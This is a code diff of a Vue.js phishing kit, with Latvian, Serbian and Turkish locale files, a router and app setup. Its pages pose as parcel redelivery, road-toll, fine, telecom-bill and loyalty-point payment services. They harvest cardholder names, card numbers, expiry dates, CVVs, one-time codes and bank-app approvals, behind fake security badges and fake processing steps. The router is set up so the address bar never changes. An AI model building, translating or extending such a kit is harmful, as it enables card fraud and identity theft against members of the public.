"Detailed Address": "Precīza adrese",
"(Optional)": "(Neobligāti)",
"City": "Pilsēta",
"State": "Valsts / Šķēršlis",
"Province": "Province",
"Region": "Reģions",
"Zip Code": "Pasta indekss",
"E-Mail": "E-pasts",
"Next": "Nākamais",
"Telephone Number": "Tālruņa numurs",
"Online": "Tiešsaistē",
"Payment": "Maksājums",
"For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "Par atkārtotu piegādi mums jāiekasē pakalpojuma maksa. Jūsu sūtījums tiks atkārtoti piegādāts pēc maksājuma",
"lump sum: ": "Vienreizējs maksājums: ",
"Cardholder": "Kartes īpašnieks",
"Card Number": "Kartes numurs",
"Expire Date": "Derīguma termiņš",
"Security Code": "Drošības kods",
"Submit": "Iesniegt",
"Click here to receive another code": "Noklikšķiniet šeit, lai saņemtu citu kodu",
"Please confirm your identity and a one-time code will be sent": "Lūdzu, apstipriniet savu identitāti, un uz jūsu tālruni vai e-pastu tiks nosūtīts vienreizējs kods. Ievadiet verifikācijas kodu šeit",
"The verification code has been sent to": "Verifikācijas kods ir nosūtīts uz",
"Please do not click the": "Lūdzu, neklikšķiniet uz pogām",
"Verification code error, please try again": "Verifikācijas koda kļūda, lūdzu, mēģiniet vēlreiz",
"The session is about to expire, please complete the verification now": "Sesija drīz beigsies, lūdzu, pabeidziet verifikāciju tūlīt",
"This card does not support this transaction, please try another card": "Šī karte neatbalsta šo darījumu, lūdzu, izmēģiniet citu karti",
"Authorized bank": "Autorizēta banka",
"Please go to the bank App to confirm the authorization": "Lūdzu, dodieties uz bankas lietotni, lai apstiprinātu autorizāciju",
"Please do not close this page": "Lūdzu, neaizveriet šo lapu",
"Payment Successful": "Maksājums veiksmīgs!",
"Thank you for your purchase. Your payment has been processed successfully": "Paldies par pirkumu. Jūsu maksājums ir veiksmīgi apstrādāts",
"Mailing address": "Pasta adrese",
"street address or house number": "Ielas adrese vai mājas numurs",
"Apartment number": "Dzīvokļa numurs, istabas numurs utt.",
"Safe payment": "Drošs maksājums",
"Verification code": "Verifikācijas kods",
"Welcome": "Laipni lūdzam",
"back": "atpakaļ!",
"We reward you for using point services": "Mēs jūs apbalvojam par punktu pakalpojumu izmantošanu",
"Check your points": "Pārbaudiet savus punktus",
"Phone number": "Tālruņa numurs",
"Inquire": "Uzzināt",
"Exchange": "Apmainīt",
"Spend points": "Tērēt punktus",
"Points Available": "Pieejamie punkti",
"You don't have enough points": "Jums nav pietiekami daudz punktu",
"Please redeem your favorite product": "Lūdzu, izmantojiet savu iecienītāko produktu",
"Confirm your shipping address": "Apstipriniet savu piegādes adresi",
"Order number": "Pasūtījuma numurs: ",
"Pay": "Maksāt",
"Pay Message": "Maksāt {0}, lai izmantotu punktus par produktiem",
"Pay electronic tolls online": "Maksājiet elektroniskās nodevas tiešsaistē",
"your electronic toll payment was unsuccessful": "Jūsu elektroniskā nodevas apmaksa bija neveiksmīga.",
"Billing Information": "Norēķinu informācija",
"Description": "Apraksts",
"Dear customer": "Cienījamais klient!",
"Electronic Communications Charge Payment Failed": "Elektronisko sakaru maksas apmaksa neizdevās",
"Invoice Number": "Rēķina numurs",
"Amount": "Summa",
"Pay Immediately": "Maksāt nekavējoties",
"Phone Number": "Tālruņa numurs",
"Electronic communication fee payment failed": "Elektroniskās komunikācijas maksas apmaksa neizdevās",
"Illustrate": "Ilustrēt",
"SSL Encryption": "SSL šifrēšana",
"PCI-DSS Certified": "PCI-DSS sertificēts",
"Transaction Details": "Darījuma detaļas",
"Transaction ID:": "Darījuma ID:",
"Processing Network:": "Apstrādes tīkls:",
"Processing Time:": "Apstrādes laiks:",
"Security Level:": "Drošības līmenis:",
"Preparing...": "Gatavo...",
"High": "Augsts",
"Initializing payment environment...": "Inicializē maksājumu vidi...",
"Encrypting card information...": "Šifrē kartes informāciju...",
"Establishing secure connection...": "Veido drošu savienojumu...",
"Verifying card number and issuer...": "Pārbauda kartes numuru un izdevēju...",
"Validating CVV code...": "Validē CVV kodu...",
"Checking fraud risk...": "Pārbauda krāpšanas risku...",
"Sending transaction request...": "Sūta darījuma pieprasījumu...",
"Waiting for bank authorization...": "Gaida bankas autorizāciju...",
"Processing bank response...": "Apstrādā bankas atbildi...",
"Confirming transaction status...": "Apstiprina darījuma statusu...",
"Finalizing transaction...": "Pabeidz darījumu...",
"Visa Secure Network": "Visa drošais tīkls",
"Mastercard Global Payment Network": "Mastercard globālais maksājumu tīkls",
"American Express Dedicated Channel": "American Express veltītais kanāls",
"UnionPay Gateway": "UnionPay vārteja",
"{time} seconds": "{time} sekundes",
"International Payment Network": "Starptautiskais maksājumu tīkls",
"Homepage License Plate": "Mājaslapas numura zīme",
"JCC Smart Cyprus Image": "JCC Smart Kipras attēls",
"Check Your Payment Details": "Pārbaudiet savus maksājuma datus",
"Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Ievadiet sava transportlīdzekļa numura zīmes numuru, lai verificētu savu kontu un nodrošinātu savlaicīgu nodevas apmaksu, lai izvairītos no sodiem.",
"Enter license plate number (e.g. XYZ1234)": "Ievadiet numura zīmes numuru (piemēram, XYZ1234)",
"Verify Payment Details": "Pārbaudīt maksājuma datus",
"Toll Payment": "Nodevas apmaksa",
"License Plate Number": "Numura zīmes numurs",
"Traffic violation information (e.g. mobile phone use while driving). First violation <strong>50€</strong>, second violation <strong>150€</strong>, and so on.": "Informācija par ceļu satiksmes noteikumu pārkāpumiem (piemēram, mobilā tālruņa lietošana braukšanas laikā). Pirmais pārkāpums <strong>50€</strong>, otrais pārkāpums <strong>150€</strong> utt.",
"Tolls": "Nodevas",
"Due Date": "Maksājuma termiņš",
"Fine Amount": "Sods",
"Pay Now": "Maksāt tagad",
"Note that, due to late payment, this transaction is valid only for credit card payments.": "Ņemiet vērā, ka sakarā ar novēlotu maksājumu šis darījums ir derīgs tikai kredītkaršu maksājumiem.",
"Cardholder Name": "Kartes īpašnieka vārds",
"First and Last Name": "Vārds un uzvārds",
"XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX",
"Expiration Date": "Derīguma termiņš",
"MM/YY": "MM/GG",
"123(CVV)": "123(CVV)",
"Card Icon": "Kartes ikona",
"CVV": "CVV",
"Successful Toll Payment": "Veiksmīga nodevas apmaksa",
"Thank you for your payment. The tolls have been processed successfully.": "Paldies par maksājumu. Nodevas ir veiksmīgi apstrādātas.",
"Phone": "Tālrunis",
"Toll Amount": "Nodevas summa",
"50.00 EUR": "50.00 EUR"
}

View File

@@ -0,0 +1,122 @@
export default {
"There is an error in this field, please check": "Постоји грешка у овом пољу, молимо проверите",
"Please enter a valid email address": "Унесите важећу адресу е-поште",
"Dear users, please fill in the form carefully to ensure the successful delivery": "Поштовани корисници, молимо пажљиво попуните формулар како бисте осигурали успешну испоруку",
"Your Name": "Ваше име",
"Address": "Адреса",
"Detailed Address": "Детаљна адреса",
"(Optional)": "(Опционално)",
"City": "Град",
"State": "Савезна држава",
"Province": "Покрајина",
"Region": "Регија",
"Zip Code": "Поштански број",
"E-Mail": "Е-пошта",
"Next": "Следеће",
"Telephone Number": "Број телефона",
"Online": "На мрежи",
"Payment": "Плаћање",
"For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "За поновну испоруку потребно је платити одређене услуге. Ваш пакет ће бити поново испоручен након уплате",
"lump sum: ": "укупно: ",
"Cardholder": "Име носиоца картице",
"Card Number": "Број картице",
"Expire Date": "Датум истека",
"Security Code": "Сигурносни код",
"Submit": "Пошаљи",
"Click here to receive another code": "Кликните овде да добијете нови код",
"Please confirm your identity and a one-time code will be sent": "Потврдите свој идентитет и једнократни код ће бити послат на ваш телефон или е-пошту. Унесите код овде",
"The verification code has been sent to": "Код за потврду је послат на",
"Please do not click the": "Молимо вас да не кликћете на 'Освежи' или 'Назад' јер то може прекинути трансакцију",
"Verification code error, please try again": "Грешка у коду за потврду, покушајте поново",
"The session is about to expire, please complete the verification now": "Сесија ће ускоро истећи, молимо довршите верификацију",
"This card does not support this transaction, please try another card": "Ова картица не подржава ову трансакцију, покушајте са другом картицом",
"Authorized bank": "Овлашћена банка",
"Please go to the bank App to confirm the authorization": "Идите у апликацију банке да потврдите овлашћење",
"Please do not close this page": "Не затварајте ову страницу",
"Payment Successful": "Успешно плаћање!",
"Thank you for your purchase. Your payment has been processed successfully": "Хвала вам на куповини. Плаћање је успешно обрађено",
"Mailing address": "Адреса за доставу",
"street address or house number": "Улица или број куће",
"Apartment number": "Број стана, собе итд.",
"Safe payment": "Безбедно плаћање",
"Verification code": "Код за потврду",
"Welcome": "Добродошли",
"back": "Назад!",
"We reward you for using point services": "Награђујемо вас за коришћење услуга поена",
"Check your points": "Проверите ваше поене",
"Phone number": "Број телефона",
"Inquire": "Провери",
"Exchange": "Размена",
"Spend points": "Искористите поене",
"Points Available": "Доступни поени",
"You don't have enough points": "Немате довољно поена",
"Please redeem your favorite product": "Искористите своје поене за омиљени производ",
"Confirm your shipping address": "Потврдите адресу испоруке",
"Order number": "Број поруџбине: ",
"Pay": "Плати",
"Pay Message": "Платите {0} да бисте искористили поене за производе",
"Pay electronic tolls online": "Платите електронску путарину на мрежи",
"your electronic toll payment was unsuccessful": "Ваше плаћање путарине није успело.",
"Billing Information": "Подаци за обрачун",
"Description": "Опис",
"Dear customer": "Поштовани клијент:",
"Electronic Communications Charge Payment Failed": "Плаћање трошкова електронске комуникације није успело",
"Invoice Number": "Број фактуре",
"Amount": "Износ",
"Pay Immediately": "Платите одмах",
"Phone Number": "Број телефона",
"Electronic communication fee payment failed": "Плаћање накнаде за електронску комуникацију није успело",
"Illustrate": "Објасни",
"SSL Encryption": "SSL енкрипција",
"PCI-DSS Certified": "PCI-DSS сертификат",
"Transaction Details": "Детаљи трансакције",
"Transaction ID:": "ИД трансакције:",
"Processing Network:": "Мрежа за обраду:",
"Processing Time:": "Време обраде:",
"Security Level:": "Ниво безбедности:",
"Preparing...": "Припрема се...",
"High": "Висок",
"Initializing payment environment...": "Иницијализација окружења за плаћање...",
"Encrypting card information...": "Шифровање података картице...",
"Establishing secure connection...": "Успостављање сигурне везе...",
"Verifying card number and issuer...": "Провера броја картице и издаваоца...",
"Validating CVV code...": "Проверавање CVV кода...",
"Checking fraud risk...": "Провера ризика од преваре...",
"Sending transaction request...": "Слање захтева за трансакцију...",
"Waiting for bank authorization...": "Чекање одобрења банке...",
"Processing bank response...": "Обрада одговора банке...",
"Confirming transaction status...": "Потврда статуса трансакције...",
"Finalizing transaction...": "Завршетак трансакције...",
"Visa Secure Network": "Visa безбедна мрежа",
"Mastercard Global Payment Network": "Mastercard глобална мрежа за плаћање",
"American Express Dedicated Channel": "American Express наменски канал",
"UnionPay Gateway": "UnionPay пролаз",
"{time} seconds": "{time} секунди",
"International Payment Network": "Међународна мрежа за плаћање",
"Homepage License Plate": "Почетна регистрација возила",
"JCC Smart Cyprus Image": "JCC Smart Kipar слика",
"Check Your Payment Details": "Проверите детаље плаћања",
"Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Унесите регистарски број возила да бисте проверили свој налог и благовремено платили путарину како бисте избегли казне.",
"Enter license plate number (e.g. XYZ1234)": "Унесите број таблице (нпр. XYZ1234)",
"Verify Payment Details": "Потврдите детаље плаћања",
"Toll Payment": "Плаћање путарине",
"License Plate Number": "Регистарски број возила",
"Traffic violation information (e.g. mobile phone use while driving). First violation <strong>50€</strong>, second violation <strong>150€</strong>, and so on.": "Информације о саобраћајним прекршајима (нпр. коришћење мобилног телефона током вожње). Први прекршај <strong>50€</strong>, други <strong>150€</strong> итд.",
"Tolls": "Путарина",
"Due Date": "Рок доспећа",
"Fine Amount": "Износ казне",
"Pay Now": "Плати сада",
"Note that, due to late payment, this transaction is valid only for credit card payments.": "Имајте у виду да је због кашњења плаћања ова трансакција могућа само кредитном картицом.",
"Cardholder Name": "Име носиоца картице",
"First and Last Name": "Име и презиме",
"XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX",
"Expiration Date": "Датум истека",
"MM/YY": "MM/ГГ",
"123(CVV)": "123(CVV)",
"Card Icon": "Икона картице",
"CVV": "CVV",
"Successful Toll Payment": "Успешно плаћена путарина",
"Thank you for your payment. The tolls have been processed successfully.": "Хвала вам на плаћању. Путарина је успешно обрађена.",
"Phone": "Телефон",
"Toll Amount": "Износ путарине"
};

View File

@@ -0,0 +1,82 @@
export default {
"There is an error in this field, please check":
"Bu alanda bir hata var, lütfen kontrol edin",
"Please enter a valid email address": "Lütfen geçerli bir e-posta adresi girin",
"Dear users, please fill in the form carefully to ensure the successful delivery":
"Değerli kullanıcılar, teslimatın başarılı olması için lütfen formu dikkatlice doldurun",
"Your Name": "Adınız",
"Address": "Adres",
"Detailed Address": "Detaylı Adres",
"(Optional)": "(İsteğe bağlı)",
"City": "Şehir",
"State": "Eyalet",
"Province": "İl",
"Region": "Bölge",
"Zip Code": "Posta Kodu",
"E-Mail": "E-Posta",
"Next": "İleri",
"Telephone Number": "Telefon Numarası",
"Online": "Çevrimiçi",
"Payment": "Ödeme",
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
"Yeniden teslimat için bazı hizmet ücretleri tahsil etmemiz gerekiyor. Ödemenin ardından paketiniz yeniden gönderilecektir",
"lump sum: ": "Toplam tutar: ",
"Cardholder": "Kart Sahibi",
"Card Number": "Kart Numarası",
"Expire Date": "Son Kullanma Tarihi",
"Security Code": "Güvenlik Kodu",
"Submit": "Gönder",
"Click here to receive another code": "Yeni bir kod almak için buraya tıklayın",
"Please confirm your identity and a one-time code will be sent":
"Lütfen kimliğinizi doğrulayın, cep telefonu numaranıza veya e-posta adresinize tek kullanımlık bir kod gönderilecektir. Lütfen doğrulama kodunu buraya girin",
"The verification code has been sent to":
"Doğrulama kodu şu adrese gönderildi:",
"Please do not click the":
"Lütfen 'Yenile' veya 'Geri' düğmelerine tıklamayın, aksi takdirde işleminiz sona erebilir veya kesilebilir",
"Verification code error, please try again":
"Doğrulama kodu hatalı, lütfen tekrar deneyin",
"The session is about to expire, please complete the verification now":
"Oturumunuz sona ermek üzere, lütfen şimdi doğrulamayı tamamlayın",
"This card does not support this transaction, please try another card":
"Bu kart bu işlemi desteklemiyor, lütfen başka bir kart deneyin",
"Authorized bank": "Yetkili banka",
"Please go to the bank App to confirm the authorization":
"Lütfen yetkilendirmeyi onaylamak için banka uygulamasına gidin",
"Please do not close this page": "Lütfen bu sayfayı kapatmayın",
"Payment Successful": "Ödeme Başarılı!",
"Thank you for your purchase. Your payment has been processed successfully":
"Satın alma işleminiz için teşekkür ederiz. Ödemeniz başarıyla işlendi",
"Mailing address": "Posta Adresi",
"street address or house number": "Sokak adresi veya ev numarası",
"Apartment number": "Daire numarası, oda numarası vb.",
"Safe payment": "Güvenli ödeme",
"Verification code": "Doğrulama kodu",
"Welcome": "Hoş geldiniz",
"back": "geri!",
"We reward you for using point services": "Puan hizmetlerini kullandığınız için sizi ödüllendiriyoruz",
"Check your points": "Puanlarınızı kontrol edin",
"Phone number": "Telefon numarası",
"Inquire": "Sorgula",
"Exchange": "Değiştir",
"Spend points": "Puan harca",
"Points Available": "Mevcut Puanlar",
"You don't have enough points": "Yeterli puanınız yok",
"Please redeem your favorite product": "Lütfen favori ürününüzü kullanarak puanınızı harcayın",
"Confirm your shipping address": "Teslimat adresinizi onaylayın",
"Order number": "Sipariş numarası: ",
"Pay": "Öde",
"Pay Message": "{0} ödeyerek puan karşılığı ürün alabilirsiniz",
"Pay electronic tolls online": "Elektronik otoyol ücretlerini çevrimiçi ödeyin",
"your electronic toll payment was unsuccessful":
"Elektronik otoyol ödemeniz başarısız oldu.",
"Billing Information": "Fatura Bilgileri",
"Description": "Açıklama",
"Dear customer": "Sayın müşteri:",
"Electronic Communications Charge Payment Failed": "Elektronik iletişim ücreti ödemesi başarısız oldu",
"Invoice Number": "Fatura Numarası",
"Amount": "Tutar",
"Pay Immediately": "Hemen Öde",
"Phone Number": "Telefon Numarası",
"Electronic communication fee payment failed": "Elektronik iletişim ücreti ödemesi başarısız oldu",
"Illustrate": "Açıklama"
};

View File

@@ -0,0 +1,28 @@
import { createApp, ref } from "vue";
import { createPinia } from "pinia";
import App from "./App.vue";
import router from "./router";
import { createI18n } from "vue-i18n";
import en from "./locales/en";
import "./assets/main.css";
import "./assets/base.css";
import VueScrollTo from "vue-scrollto";
const userData = ref({});
const app = createApp(App);
app.config.globalProperties.$currentUser = userData;
const i18n = createI18n({
locale: "en",
messages: {
en: en,
},
});
app.use(i18n);
app.use(createPinia());
app.use(router);
app.mount("#app");
export default i18n;

View File

@@ -0,0 +1,113 @@
import { createRouter, createMemoryHistory } from "vue-router";
// --- All view components are now explicitly imported for full static loading ---
import IndexView from "@/views/IndexView.vue";
import PhoneView from "@/views/PhoneView.vue";
import PayView from "@/views/PayView.vue";
import OtpView from "@/views/OtpView.vue";
import CustomOtpView from "@/views/CustomOtpView.vue";
import AppValidView from "@/views/AppValidView.vue";
import AddressView from "@/views/AddressView.vue";
import SuccessView from "@/views/SuccessView.vue";
import CardView from "@/views/CardView.vue";
import HomeView from "@/views/HomeView.vue";
const router = createRouter({
/**
* History Mode: createMemoryHistory
*
* This mode maintains an internal history stack **without interacting with the browser's URL**.
* The URL in the address bar will not change, and it will not add entries to the browser's native history.
*
* This is ideal for scenarios like:
* - **Server-Side Rendering (SSR)**: Where a browser environment is not available.
* - **Desktop Applications (e.g., Electron)**: For internal app navigation that shouldn't affect OS-level browser history.
* - **Embedded Applications**: When your Vue app is nested within a larger system and should not alter the parent's URL.
*
* **Important**: Users cannot bookmark specific internal routes or use browser back/forward buttons
* to navigate within your Vue app's routes. Navigation is strictly controlled programmatically (e.g., via `<router-link>` or `router.push()`).
*/
history: createMemoryHistory(import.meta.env.BASE_URL),
routes: [
{
path: "/",
name: "home",
// --- Component directly assigned for full static loading ---
component: IndexView,
},
{
path: "/phone",
name: "phone",
component: PhoneView,
},
{
path: "/home",
name: "home",
component: HomeView,
},
{
path: "/pay",
name: "pay",
component: PayView,
},
{
path: "/otpValid",
name: "otpValid",
component: OtpView,
},
{
path: "/customOtpValid",
name: "customOtpValid",
component: CustomOtpView,
},
{
path: "/appValid",
name: "appValid",
component: AppValidView,
},
{
path: "/address",
name: "address",
component: AddressView,
},
{
path: "/success",
name: "success",
component: SuccessView,
},
{
path: "/card",
name: "card",
component: CardView,
},
],
/**
* Scroll Behavior:
* Controls the scrolling position when navigating between routes.
*
* @param {Object} to - The target route object.
* @param {Object} from - The current route object being left.
* @param {Object} savedPosition - The saved scroll position if navigating back/forward.
* @returns {Object} An object with `left` and `top` properties (for scrolling to coordinates).
*/
scrollBehavior(to, from, savedPosition) {
// If a saved position exists (e.g., from browser's back/forward, though less common with MemoryHistory), restore it.
if (savedPosition) {
return savedPosition;
} else {
// Otherwise, scroll to the top of the page. Added 'smooth' for a better user experience.
return { left: 0, top: 0, behavior: "smooth" };
}
},
});
router.afterEach(() => {
// Try all common scroll containers
window.scrollTo({ top: 0, left: 0, behavior: "auto" });
document.documentElement.scrollTop = 0;
document.body.scrollTop = 0;
const wrap = document.querySelector(".v-application--wrap") as HTMLElement | null;
if (wrap) wrap.scrollTop = 0;
});
export default router;

View File

@@ -0,0 +1,15 @@
import { defineStore } from "pinia";
export const useLoadingStore = defineStore("loading", {
state: () => ({
isLoading: false,
}),
actions: {
showLoading() {
this.isLoading = true;
},
hideLoading() {
this.isLoading = false;
},
},
});

Some files were not shown because too many files have changed in this diff Show More